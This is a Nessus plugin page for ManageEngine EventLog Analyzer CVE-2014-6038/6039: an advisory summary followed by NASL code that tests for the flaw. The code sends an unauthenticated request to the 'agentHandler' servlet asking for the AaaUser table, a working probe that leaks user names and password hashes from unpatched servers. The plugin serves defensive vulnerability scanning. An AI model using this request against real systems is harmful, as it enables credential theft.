ManageEngine EventLog Analyzer 'agentHandler' Information Disclosure

2015-02-18T00:00:00
ID MANAGEENGINE_EVENTLOG_ANALYZER_CVE-2014-6038.NASL
Type nessus
Reporter This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.
Modified 2015-02-18T00:00:00

Description

The EventLog Analyzer version installed on the remote web server is affected by multiple information disclosure vulnerabilities :

  • A flaw exists in the 'agentHandler' servlet that allows a remote attacker to retrieve user names and password hashes and other sensitive information. (CVE-2014-6038)

  • A flaw exists in the 'hostdetails' servlet that allows a remote attacker to retrieve user names and passwords for systems managed by EventLog Analyzer. (CVE-2014-6039)

Note that Nessus only checked for the flaw outlined by CVE-2014-6038; however, it is highly likely that the version is also affected by the flaw outlined in CVE-2014-6039.

                                        
                                            #%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(81402);
  script_version("1.7");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2014-6038","CVE-2014-6039");
  script_bugtraq_id(70959,70960);

  script_name(english:"ManageEngine EventLog Analyzer 'agentHandler' Information Disclosure");
  script_summary(english:"Tries to exploit the issue.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts an application that is affected by
multiple information disclosure vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The EventLog Analyzer version installed on the remote web server is
affected by multiple information disclosure vulnerabilities :

  - A flaw exists in the 'agentHandler' servlet that allows
    a remote attacker to retrieve user names and password
    hashes and other sensitive information. (CVE-2014-6038)

  - A flaw exists in the 'hostdetails' servlet that allows a
    remote attacker to retrieve user names and passwords for
    systems managed by EventLog Analyzer. (CVE-2014-6039)

Note that Nessus only checked for the flaw outlined by CVE-2014-6038;
however, it is highly likely that the version is also affected by the
flaw outlined in CVE-2014-6039.");
  script_set_attribute(attribute:"see_also", value:"https://www.manageengine.com/products/eventlog/");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2014/Nov/32");
  script_set_attribute(attribute:"solution", value:"Upgrade to version 10 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:U/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/11/05");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/01/23");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/02/18");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine_eventlog_analyzer");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("manageengine_eventlog_analyzer_detect.nbin");
  script_require_keys("installed_sw/ManageEngine EventLog Analyzer");
  script_require_ports("Services/www", 8400);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");
include("data_protection.inc");

app = "ManageEngine EventLog Analyzer";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:8400);
inst = get_single_install(app_name:app,port:port);
url  = build_url(port:port, qs:inst["path"]);
item = "/agentHandler?mode=getTableData&table=AaaUser";
res  = http_send_recv3(
  method : "GET",
  item   : item,
  port   : port
);
req = build_url(qs:item, port:port);

# Patch host simply responds "Access Denied"
if(res[2] =~ "<Details>.*<\/Details>")
{
  security_report_v4(
    port       : port,
    severity   : SECURITY_WARNING,
    generic    : TRUE,
    request    : make_list(req),
    output     : data_protection::sanitize_user_full_redaction(output:chomp(res[2]))
  );
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED,app,url);